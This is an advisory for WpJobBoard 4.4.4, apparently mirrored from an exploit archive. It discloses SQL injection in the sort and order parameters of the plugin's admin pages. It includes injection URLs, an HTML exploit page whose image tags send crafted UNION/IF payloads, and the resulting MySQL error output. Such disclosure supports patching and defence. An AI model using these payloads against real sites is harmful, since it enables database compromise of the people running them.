Document Title:
===============
WpJobBoard v4.4.4 - Multiple SQL Injection Vulnerabilities
Product & Service Introduction:
===============================
WPJobBoard is bundled with 15+ shortcodes, allowing you to easily build completely unique job board and insert additional
features only when you need it and only where you see fit. WPJobBoard doesnat limit your website to just a job board.
Along with WPJB, you can still maintain a blog and take advantage of all the other features WordPress and its plugins
and themes offer. You can keep your community and your blog, but you can add a professional job board.
(Copy of the Vendor Homepage: https://wpjobboard.net/features/ )
Affected Product(s):
====================
WpJobBoard
Product: WPJobBoard - Wordpress Plugin (Web-Application) 4.4.4
Technical Details & Description:
================================
Multiple remote sql-injection web vulnerabilities has been discovered in the WpJobBoard v4.4.4 wordpress web-application plugin.
The vulnerability allows remote attackers to inject own malicious sql commands to compromise the database management system.
The sql-injection web vulnerabilities are located in the `order` and `sort` parameters of the `wpjb-job` and `wpjb-alerts` module
GET method requests. Remote attackers are able to execute sql commands by performing client-side GET method requests with malicious
statements via admin.php file. The request method to inject/execute is GET and the attack vector of the issue is located on the
application-side in the insecure request statement. The issue can be exploited by privileged wp user accounts without user interaction.
The security risk of the sql web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 6.0.
Exploitation of the remote sql injection vulnerabilities requires no user interaction and a privileged web-application user account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] wpjb-job
[+] wpjb-alerts
Vulnerable File(s):
[+] admin.php
Vulnerable Parameter(s):
[+] sort
[+] order
Proof of Concept (PoC):
=======================
The sql-injection vulnerability can be exploited by remote attackers without user interaction and with privileged web-application user account.
For security appnstration or to reproduce the security web vulnerability follow the provided information and steps below to continue.
PoC: Exploitation
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=xml&sort=[SQL-INJECTION VULNERABILITY!]&order=asc
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=1&sort=job_expires_at&order=[SQL-INJECTION VULNERABILITY!]
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=all&sort=job_title&order=[SQL-INJECTION VULNERABILITY!]
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=created_at&order=[SQL-INJECTION VULNERABILITY!]
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=[SQL-INJECTION VULNERABILITY!]&order=asc
PoC: Exploit Code
<html>
<head><body>
<title>WPJOBBOARD SQL INJECTION PoC</title>
<img src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index
&filter=xml&sort=job_title+desc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))&order=asc>
<img src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=1&sort=job_expires_at&order=asc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))>
<img src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=all&sort=job_title&order=asc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))>
<img src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=created_at&order=asc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))>
<img src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=job_title+desc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))&order=asc>
</body></head>
</html>
--- PoC Error Exception Logs ---
Fatal error: Uncaught exception
'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
-
Fatal error: Uncaught exception 'wp_wpjb_job' with message
'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Reference(s):
https://wp-jobboard.localhost:8080/
https://wp-jobboard.localhost:8080/wp-admin/
https://wp-jobboard.localhost:8080/wp-admin/admin.php
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=1&sort=job_expires_at&order=
# 0day.today [2018-04-04] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation